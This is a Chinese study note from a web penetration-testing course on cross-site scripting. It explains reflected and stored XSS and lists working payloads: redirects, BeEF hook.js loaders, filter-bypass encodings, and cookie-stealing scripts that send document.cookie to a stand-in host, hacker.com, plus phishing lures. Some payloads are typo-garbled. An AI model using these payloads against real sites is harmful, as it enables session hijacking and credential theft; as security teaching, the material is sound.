XSS 跨站脚本攻击_2 | 学习笔记

简介: 快速学习 XSS 跨站脚本攻击_2

开发者学堂课程【网络安全攻防 - Web渗透测试XSS 跨站脚本攻击_2】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9912


XSS 跨站脚本攻击_2


内容介绍

一、XSS 主要原因

二、XSS 主要分类

三、构造 XSS 脚本

四、反射型 XSS


课程概要:下面介绍 XSS 跨站脚本攻击具体如何操作


一、XSS 主要原因

对客户端过于信任提交的数据!


二、XSS 主要分类

反射型 xss 攻击( Reflected xss ),又称为非持久性跨站点脚本攻击,它是最常见的类型的 XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。—个典型的非持久性 XSS 包含一个带 XSS 攻击向量的链接(即每次攻击需要用户的点击)

存储型 XSS ( Stored XSS),又称为持久型跨站点脚本,它一般发生在 XSS 攻击向量(一般指 XSS 攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的 XSS 相比非持久性 XSS 攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的 orkut 曾经就遭受到 XSS


三、构造 XSS 脚本

首先会使用到 HTML 标签和 JavaScript 方法

1.  常用 HTML 标签

(1)  <iframe>

iframe 元素会创建包含另外一个文档的内联框架(即行内框架)

比如在一个页面上嵌入一个页面,可以使用这个标签,在一个网页里嵌入另一个标签也是如此。

(2)  <textarea>

<textarea>标签定义多行的文本输入控件。

(3)  <img>

img 元素向网页中嵌入一幅图像。

(4)  <script>

<script>标签用于定义客户端脚本,比如 JavaScript

script 元素既可以包含脚本语句,也可以通过 src 属性指向外部脚文件。必需的 type 属性规定脚本的 MIME 类型。JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。

这四个是比较常用的标签。

2.  常用 JavaScript 的方法

(1)  Alert

alert()方法用于显示带有一条指定消息和一个确认按钮的警告框

(2)  window.location

window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面(让用户的浏览器进行一个跳转)。

(3)  location.href

返回当前显示的文档的完整 URL

(4)  Onload

—张页面或—幅图像完成加载执行

(5)  Onsubmit

确认按钮被点击(点击时会被触发)

(6)  Onerror

在加载文档或图像时发生错误的时候,这个行为会被触发

3.  构造 XSS 脚本

弹出警告、页面嵌套、页面重定向、弹框警告并重定向、访问恶意代码、巧用图片标签、绕过过滤脚本,从这些方式上来构造不同功能的 XSS 脚本,这只是其中一部分。

(1)弹框警告

此脚本实现弹框提示,弹框警告没有太大的意义,但是有一个意义,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号'(如果报语法错误就明确说明这里有 SQL 注入漏洞,如果弹框出来说明有 XSS 漏洞),所以更多的是来展示、测试或者类似于单引号。一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<>/’这样就可以证明,这个页面位置存在了 XSS 漏洞。

未过滤符号,基本上就会放置 XSS 脚本的可能性

<script>alert( "xss ' )</ script>

<script>alert(document.cookie)</script>

打开网页控制台,在 XSS 对话框中输入<script>alert( "xss ' )</ script>,点击 Submit 提交

image.png

运行结果:

image.png

结论:没有对符号进行过滤,导致把他当成脚本执行

打开网页控制台,在 XSS 对话框中输入:

<script>alert(document.cookie)</script>,点击 Submit 提交后运行

总结:Cookile 里面放置 sessionID

2)页面嵌套

<iframe src-http: / /vww .baidu.com width=300 height=300>

</iframe>

<iframe src-http://www.baidu.com width=0 height=0>

</iframe>

使用 iframe 框架,打开网页控制台,在 XSS 对话框中输入

<iframe src-http: / /vww .baidu.com width=300 height=300>

</iframe>

点击 Submit 提交

image.png

总结 :嵌套了指定网页内嵌的框,前端 html 时的一个标签,里面嵌套框给了一个地址,不同的是框的大小

3)页面重定向

<script>window .location="http: //www .qfedu.com"</ script>

<script>location.href=”http : //www . baidu.com"</script>

打开网页控制台,在 XSS 对话框中输入

<script>window.location="http://www.qfedu.com"</ script>,点击 Submit 提交

image.png

结论:页面跳转

②打开网页控制台,在 XSS 对话框中输入:

<script>location.href=”http : //www . baidu.com"</script>

点击 Submit 提交后运行

(4)弹框警告并童定向

#没有任何实质意义,作为漏洞测试和演示使用,更像sql注入用到的单引号,一旦弹框出来后端服务器没检测到服务

①<script>alert("请移步到我们的新站");location. Href=”http://www.qfedu.com“</script>

<script>alert('xss ' );location.href=

"http:/ No.1,64.35/mutillidae/robots.txt"

</script>

②打开网页控制台,在 XSS 对话框中输入:

<script>alert("请移步到我们的新站");location. Href=”http://www.qfedu.com“</script>

点击 Submit 提交后运行:

image.png

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)

5)访问恶意代码

<script src="http: // wiws . qfedu. com/xss.js"></script>

<script src="http: //BeEF_IP: 3000 / hook .js"></script>

//结合 BeEF 收集用户的 cookie

image.png

访问机器,收集 cookie 的脚本文件,下面访问代码会把 cookie 带走,后面在搭建 beef,自动在本地3000端口监听,提供 hook.js 文件。类似于重定向,破解访问文件。

打开网页控制台,在 XSS 对话框中输入:

<script src="http: // www . qfedu. com/xss.js"></script>,点击 Submit 提交后运行:

image.png

结论:Location src 都是让用户访问位置,跑完之后没有任何页面弹窗和变化。

6)巧用图片标签

<img src=# onerror=alert( xss )>

<img src="javascript:alert(xss);">

<img src=http: //BeEF_IP : 3000 / hook.js"> < /img>

使用图片标签访问会更加隐秘,但会触发访问文件

打开网页控制台,在 XSS 对话框中输入:

<img src=”http: //BeEF_IP : 3000 / hook.js">

< /img>,点击 Submit 提交后运行

结果:访问到碎图片,巧用图片标签,放置对脚本标签进行捕捉

7)绕开过滤的脚本

大小写 <ScrIpt>alert( "xss " )</SCRipt>

字符编码采用 URLBase64等编码<ahref="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115 ;&#34;&#41 ; " >yangge</a>

//这里是链接的意思

打开网页控制台,在 XSS 对话框中输入:<ahrefr="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115 ;&#34;&#41 ; " >yangge</a>

点击 Submit 提交后运行

结论:出现超链接后点击超链接运行,执行一个弹框:

image.png

(8)收集用户 cookie

打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>

<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>

<script>new Image( ) .src="http://ww.hacker.com/cookie.php?cookiem ="+document.cookie;</script>

<img src="http://ww.hacker.com/cookie.php?cookie='+document.cookie"></img>

<iframe src=”http://www.hacker.com/cookie.php?Cookie=’+doucument.cookie”></iframe>

<script>new Image().src=

"http://www.hacker.com/cookie.php?cookie='+document.cookie";

img .width = 0;

img.height = 0;

</script>

//访问网页然后传参后获取 cookie

从一系列的方式上构建不同的 XSS 脚本,最管用的是巧用图片,访问钩子文件。


四、反射型 XSS

目前低级别当中,对用户输入的内容没有做任何过滤

<?php

if(!array_key_exists("name",$_GET)||$_GET['name']==NULL||$_GET['name’] = ‘’)

{

$isempty = true ;

}

else {

echo '<pre>':

echo 'Hello’. $_GET[’name‘] ;

echo '</pre>’ :

}

?>

①输入内容把或得到的内容 name,拼接内容,最后输出出来。

②测试弹框警告:document.cookie 是获取当前自己的 cookie,收集到自己的 cookie 作为参数传给其他页面。

③发送链接:

<script src="http: //BeEF_IP: 3000 / hook .js"></script>

链接发个用户中招的数量是有限的,而存储型的好多用户都点,做一个超链接,别人一点超链接诱导别人点击可以收集他人 cookie。

相关文章
|
8天前
|
安全 JavaScript Go
【Web】什么是 XSS 攻击,如何避免?
【Web】什么是 XSS 攻击,如何避免?
|
6天前
|
安全
OWASP ESAPI 预防XSS跨站脚本攻击_xss攻击引入esapi(1)
OWASP ESAPI 预防XSS跨站脚本攻击_xss攻击引入esapi(1)
|
8天前
|
存储 安全 JavaScript
【PHP开发专栏】PHP跨站脚本攻击(XSS)防范
【4月更文挑战第30天】本文探讨了Web开发中的XSS攻击,解释了其原理和分类,包括存储型、反射型和DOM型XSS。XSS攻击可能导致数据泄露、会话劫持、网站破坏、钓鱼攻击和DDoS攻击。防范措施包括输入验证、输出编码、使用HTTP头部、定期更新及使用安全框架。PHP开发者应重视XSS防护,确保应用安全。
|
8天前
|
存储 JavaScript 前端开发
前端xss攻击——规避innerHtml过滤标签节点及属性
前端xss攻击——规避innerHtml过滤标签节点及属性
47 4
|
8天前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
28 0
|
8天前
|
存储 JSON 前端开发
【面试题】XSS攻击是什么?
【面试题】XSS攻击是什么?
|
8天前
|
存储 开发框架 安全
如何处理预防XSS漏洞攻击问题
防止XSS攻击需要从多个方面入手,包括输入验证和过滤、输出编码、设置正确的HTTP头部、使用最新的安全框架和库、定期进行安全审计和漏洞扫描以及培训和意识提升等。只有综合运用这些措施,才能有效地防止XSS攻击,保护网站和用户的安全。
|
8天前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
|
8天前
|
存储 安全 JavaScript
XSS攻击是什么?它有哪些类型?
防御XSS攻击的方法包括输入验证和过滤、输出编码、使用CSP(Content Security Policy)、避免直接操作DOM等。开发人员应当谨慎处理用户输入,不信任的输入应该被过滤或编码,以确保不会被当做脚本执行。此外,定期进行安全审计和漏洞扫描也是防御XSS攻击的重要步骤。
19 0
|
8天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。